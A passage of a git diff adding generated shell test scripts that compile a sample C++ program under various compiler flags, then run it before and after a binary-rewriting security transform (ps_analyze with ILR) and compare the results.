+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="    -fPIC -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="    -fPIC -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.-fPIC.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.-fPIC.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..b1122f5b16b234318cc35dc3203016ffd27eb823
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.-fPIC.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="    -fPIC   -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="    -fPIC   -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.-fPIC.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.-fPIC.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..07bbaef7c01e9dc9741c9b137b8efd1a149a2161
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.-fPIC.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="    -fPIC   -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="    -fPIC   -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.-fPIC.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.-fPIC.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..f1fd420dfbf5a2293c88a3f68b3e0ee26518b56f
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.-fPIC.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="    -fPIC     -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="    -fPIC     -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.-fPIC.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.-fPIC.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..cb3801c2776caac65c22cb757d1b59a455dfb5b3
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.-fPIC.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="    -fPIC     -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="    -fPIC     -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.no_pic.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.no_pic.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..32f25c205342e271af11be642dd528d733bf385d
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.no_pic.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="      -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="      -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.no_pic.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.no_pic.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..ea89ad5445d103a8f447e4bf96d9d946f6227d75
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.no_pic.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="      -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="      -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
